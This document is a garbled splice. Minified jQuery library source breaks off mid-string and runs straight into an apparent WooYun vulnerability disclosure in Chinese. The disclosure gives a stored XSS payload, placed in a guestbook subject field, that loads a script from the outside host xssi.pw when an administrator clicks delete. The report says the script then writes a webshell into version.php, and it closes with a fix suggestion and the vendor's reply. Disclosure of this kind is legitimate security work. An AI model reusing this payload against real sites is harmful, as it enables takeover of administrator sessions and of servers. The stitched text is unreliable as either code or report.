for (e = 0, g = b.length; e < g; e++) delete d[b[e]];
if (! (c ? m: f.isEmptyObject)(d)) return
}
}
if (!c) {
delete j[k].data;
if (!m(j[k])) return
}
f.support.deleteExpando || !j.setInterval ? delete j[k] : j[k] = null,
i && (f.support.deleteExpando ? delete a[h] : a.removeAttribute ? a.removeAttribute(h) : a[h] = null)
}
},
_data: function(a, b, c) {
return f.data(a, b, c, !0)
},
acceptData: function(a) {
if (a.nodeName) {
var b = f.noData[a.nodeName.toLowerCase()];
if (b) return b !== !0 && a.getAttribute("classid") === b
}
return ! 0
}
}),
f.fn.extend({
data: function(a, c) {
var d, e, g, h = null;
if (typeof a == "undefined") {
if (this.length) {
h = f.data(this[0]);
if (this[0].nodeType === 1 && !f._data(this[0], "parsedAttrs")) {
e = this[0].attributes;
for (var i = 0,
j = e.length; i < j; i++) g = e[i].name,
g.indexOf("data-") === 0 && (g = f.camelCase(g.substring(5)), l(this[0], g, h[g]));
f._data(this[0], "parsedAttrs", !0)
}
}
return h
}
if (typeof a == "object") return this.each(function() {
f.data(this, a)
});
d = a.split("."),
d[1] = d[1] ? "." + d[1] : "";
if (c === b) {
h = this.triggerHandler("getData" + d[1] + "!", [d[0]]),
h === b && this.length && (h = f.data(this[0], a), h = l(this[0], a, h));
return h === b && d[1] ? this.data(d[0]) : h
}
return this.each(function() {
var b = f(this),
e = [d[0], c];
b.triggerHandler("setData" + d[1] + "!", e),
f.data(this, a, c),
b.triggerHandler("changeData" + d[1] + "!", e)
})
},
removeData: function(a) {
return this.each(function() {
f.removeData(this, a)
})
}
}),
f.extend({
_mark: function(a, b) {
a && (b = (b || "fx") + "mark", f._data(a, b, (f._data(a, b) || 0) + 1))
},
_unmark: function(a, b, c) {
a !== !0 && (c = b, b = a, a = !1);
if (b) {
c = c || "fx";
var d = c + "mark",
e = a ? 0 : (f._data(b, d) || 1) - 1;
e ? f._data(b, d, e) : (f.removeData(b, d, !0), n(b, c, "mark"))
}
},
queue: function(a, b, c) {
var d;
if (a) {
b = (b || "fx") + "queue",
d = f._data(a, b),
c && (!d || f.isArray(c) ? d = f._data(a, b, f.makeArray(c)) : d.push(c));
return d || []
}
},
dequeue: function(a, b) {
b = b || "fx";
var c = f.queue(a, b),
d = c.shift(),
e = {};
d === "inprogress" && (d = c.shift()),
d && (b === "fx" && c.unshift("inprogress"), f._data(a, b + ".run", e), d.call(a,
function() {
f.dequeue(a, b)
},
e)),
c.length || (f.removeData(a, b + "queue " + b + ".run", !0), n(a, b, "queue"))
}
}),
f.fn.extend({
queue: function(a, c) {
typeof a != "string" && (c = a, a = "fx");
if (c === b) return f.queue(this[0], a);
return this.each(function() {
var b = f.queue(this, a, c);
a === "fx" && b[0] !== "inprogress" && f.dequeue(this, a)
})
},
dequeue: function(a) {
return this.each(function() {
f.dequeue(this, a)
})
},
delay: function(a, b) {
a = f.fx ? f.fx.speeds[a] || a: a,
b = b || "fx";
return this.queue(b,
function(b, c) {
var d = setTimeout(b, a);
c.stop = function() {
clearTimeout(d)
}
})
},
clearQueue: function(a) {
return this.queue(a || "fx", [])
},
promise: function(a, c) {
function m() {--h || d.resolveWith(e, [e])
}
typeof a != "string" && (c = a, a = b),
a = a || "fx";
var d = f.Deferred(),
e = this,
g = e.length,
h = 1,
i = a + "defer",
j = a + "queue",
k = a + "mark",
l;
while (g--) if (l = f.data(e[g], i, b, !0) || (f.data(e[g], j, b, !0) || f.data(e[g], k, b, !0)) && f.data(e[g], i, f.Callbacks("once memory"), !0)) h++,
l.add(m);
m();
return d.promise()
}
});
var o = /[\n\t\r]/g,
p = /\s+/,
q = /\r/g,
r = /^(?:button|input)$/i,
s = /^(?:button|input|object|select|textarea)$/i,
t = /^a(?:rea)?$/i,
u = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
v = f.support.getSetAttribute,
w, x, y;
f.fn.extend({
attr: function(a, b) {
return f.access(this, a, b, !0, f.attr)
},
removeAttr: function(a) {
return this.each(function() {
f.removeAttr(this, a)
})
},
prop: function(a, b) {
return f.access(this, a, b, !0, f.prop)
},
removeProp: function(a) {
a = f.propFix[a] || a;
return this.each(function() {
try {
this[a] = b,
delete this[a]
} catch(c) {}
})
},
addClass: function(a) {
var b, c, d, e, g, h, i;
if (f.isFunction(a)) return this.each(function(b) {
f(this).addClass(a.call(this, b, this.className))
});
if (a && typeof a == "string") {
b = a.split(p);
for (c = 0, d = this.length; c < d; c++) {
e = this[c];
if (e.nodeType === 1) if (!e.className && b.length === 1) e.className = a;
else {
g = " " + e.className + " ";
for (h = 0, i = b.length; h < i; h++)~g.indexOf(" " + b[h] + " ") || (g += b[h] + " ");
e.className = f.trim(g)
}
}
}
return this
},
removeClass: function(a) {
var c, d, e, g, h, i, j;
if (f.isFunction(a)) return this.each(function(b) {
f(this).removeClass(a.call(this, b, this.className))
});
if (a && typeof a == "string" || a === b) {
c = (a || "").split(p);
for (d = 0, e = this.length; d < e; d++) {
g = this[d];
if (g.nodeType === 1 && g.className) if (a) {
h = (" " + g.className + " ").replace(o, " ");
for (i = 0, j = c.length; i < j; i++) h = h.replace(" " + c[i] + " ", " ");
g.className = f.trim(h)
} else g.className = ""
}
}
return this
},
toggleClass: function(a, b) {
var c = typeof a,
d = typeof b == "boolean";
if (f.isFunction(a)) return this.each(function(c) {
f(this).toggleClass(a.call(this, c, this.className, b), b)
});
return this.each(function() {
if (c === "string") {
var e, g = 0,
h = f(this),
i = b,
j = a.split(p);
while (e = j[g++]) i = d ? i: !h.hasClass(e),
h[i ? "addClass": "removeClass"](e)
} else if (c === "undefined" || c === "boolean") this.className && f._data(this, "__className__", this.className),
this.className = this.className || a === !1 ? "": f._data(this, "__className__") || ""
})
},
hasClass: function(a) {
var b = " " + a + " ",
c = 0,
d = this.length;
for (; c < d; c++) if (this[c].nodeType === 1 && (" " + this[c].className + " ").replace(o, " ").indexOf(b) > -1) return ! 0;
return ! 1
},
val: function(a) {
var c, d, e, g = this[0]; {
if ( !! arguments.length) {
e = f.isFunction(a);
return this.each(function(d) {
var g = f(this),
h;
if (this.nodeType === 1) {
e ? h = a.call(this, d, g.val()) : h = a,
h == null ? h = "": typeof h == "number" ? h += "": f.isArray(h) && (h = f.map(h,
function(a) {
return a == null ? "": a + ""
})),
c = f.valHooks[this.nodeName.toLowerCase()] || f.valHooks[this.type];
if (!c || !("set" in c) || c.set(this, h, "value") === b) this.value = h
}
})
}
if (g) {
c = f.valHooks[g.nodeName.toLowerCase()] || f.valHooks[g.type];
if (c && "get" in c && (d = c.get(g, "value")) !== b) return d;
d = g.value;
return typeof d == "string" ? d.replace(q, "") : d == null ? "": d
}
}
}
}),
f.extend({
valHooks: {
option: {
get: function(a) {
var b = a.attributes.value;
return ! b || b.specified ? a.value: a.text
}
},
select: {
get: function(a) {
var b, c, d, e, g = a.selectedIndex,
h = [],
i = a.options,
j = a.type === "select-one";
if (g < 0) return null;
c = j ? g: 0,
d = j ? g + 1 : i.length;
for (; c < d; c++) {
e = i[c];
if (e.selected && (f.support.optDisabled ? !e.disabled: e.getAttribute("disabled") === null) && (!e.parentNode.disabled || !f.nodeName(e.parentNode, "optgroup"))) {
b = f(e).val();
if (j) return b;
h.push(b)
}
}
if (j && !h.length && i.length) return f(i[g]).val();
return h
},
set: function(a, b) {
var c = f.makeArray(b);
f(a).find("option").each(function() {
this.selected = f.inArray(f(this).val(), c) >= 0
}),
c.length || (a.selectedIndex = -1);
return c
}
}
},
attrFn: {
val: !0,
css: !0,
html: !0,
text: !0,
data: !0,
width: !0,
height: !0,
offset: !0
},
attr: function(a, c, d, e) {
var g, h, i, j = a.nodeType;
if ( !! a && j !== 3 && j !== 8 && j !== 2) {
if (e && c in f.attrFn) return f(a)[c](d);
if (typeof a.getAttribute == "undefined") return f.prop(a, c, d);
i = j !== 1 || !f.isXMLDoc(a),
i && (c = c.toLowerCase(), h = f.attrHooks[c] || (u.test(c) ? x: w));
if (d !== b) {
if (d === null) {
f.removeAttr(a, c);
return
}
if (h && "set" in h && i && (g = h.set(a, d, c)) !== b) return g;
a.setAttribute(c, "" + d);
return d
}
if (h && "get" in h && i && (g = h.get(a, c)) !== null) return g;
g = a.getAttribute(c);
return g === null ? b: g
}
},
removeAttr: function(a, b) {
var c, d, e, g, h = 0;
if (b && a.nodeType === 1) {
d = b.toLowerCase().split(p),
g = d.length;
for (; h < g; h++) e = d[h],
e && (c = f.propFix[e] || e, f.attr(a, e, ""), a.removeAttribute(v ? e: c), u.test(e) && c in a && (a[c] = !1))
}
},
attrHooks: {
type: {
set: function(a, b) {
if (r.test(a.nodeName) && a.parentNode) f.error("type property can't be changed");
else if (!f.support.radioValue && b === "radio" && f.nodeName(a, "input")) {
var c = a.value;
a.setAttribute("type", b),
c && (a.value = c);
return b
}
}
},
value: {
get: function(a, b) {
if (w && f.nodeName(a, "button")) return w.get(a, b);
return b in a ? a.value: null
},
set: function(a, b, c) {
if (w && f.nodeName(a, "button")) return w.set(a, b, c);
a.value = b
}
}
},
propFix: {
tabindex: "tabIndex",
readonly: "readOnly",
"for": "htmlFor",
"class": "className",
maxlength: "maxLength",
cellspacing: "cellSpacing",
cellpadding: "cellPadding",
rowspan: "rowSpan",
colspan: "colSpan",
usemap: "useMap",
frameborder: "frameBorder",
contenteditable: "contentEditable"
},
prop: function(a, c, d) {
var e, g, h, i = a.nodeType;
if ( !! a && i !== 3 && i !== 8 && i !== 2) {
h = i !== 1 || !f.isXMLDoc(a),
h && (c = f.propFix[c] || c, g = f.propHooks[c]);
return d !== b ? g && "set" in g && (e = g.set(a, d, c)) !== b ? e: a[c] = d: g && "get" in g && (e = g.get(a, c)) !== null ? e: a[c]
}
},
propHooks: {
tabIndex: {
get: function(a) {
var c = a.getAttributeNode("tabindex");
return c && c.specified ? parseInt(c.value, 10) : s.test(a.nodeName) || t.test(a.nodeName) && a.href ? 0 : b
}
}
}
}),
f.attrHooks.tabindex = f.propHooks.tabIndex,
x = {
get: function(a, c) {
var d, e = f.prop(a, c);
return e === !0 || typeof e != "boolean" && (d = a.getAttributeNode(c)) && d.nodeValue !== !1 ? c.toLowerCase() : b
},
set: function(a, b, c) {
var d;
b === !1 ? f.removeAttr(a, c) : (d = f.propFix[c] || c, d in a && (a[d] = !0), a.setAttribute(c, c.toLowerCase()));
return c
}
},
v || (y = {
name: !0,
id: !0
},
w = f.valHooks.button = {
get: function(a, c) {
var d;
d = a.getAttributeNode(c);
return d && (y[c] ? d.nodeValue !== "": d.specified) ? d.nodeValue: b
},
set: function(a, b, d) {
var e = a.getAttributeNode(d);
e || (e = c.createAttribute(d), a.setAttributeNode(e));
return e.nodeValue = b + ""
}
},
f.attrHooks.tabindex.set = w.set, f.each(["width", "height"],
function(a, b) {
f.attrHooks[b] = f.extend(f.attrHooks[b], {
set: function(a, c) {
if (c === &quot

漏洞证明:

在线留言时,留言主题写入:

');var s=document.createElement('script');s.src='http://xssi.pw/fPJgOU';document.body.appendChild(s);('


后台访问-->在线留言;

123.jpg


已经插入了,但是被转义拿出来是运行不了的。
看下删除按钮:

<a class="icon delete end" onclick="content_del('1283','&#39;);var s=document.createElement(&#39;script&#39;);s.src=&#39;http://xssi.pw/fPJgOU&#39;;document.body.appendChild(s);(&#39;')" title="删除"></a>


123.jpg


点击下删除:

123.jpg


执行了XSS了。
version.php已经内容被改变了。
访问下,SHELL已经生成了。

123.jpg


修复方案:

删除的时候,自定义的内容就别要了吧,有留言ID就行了。

版权声明:转载请注明来源 Tea@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-04-04 18:38

厂商回复:

感谢您的意见,前段时间就碰到过这个问题 ~~还在奇怪呢~~我们会在10号发布新版时修复此漏洞。感谢您的意见。
郁闷的是,竟然过滤不成功~

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-21 12:57 | 小贱人 ( 路人 | Rank:4 漏洞数:3 | 资深菜鸟,)

    mark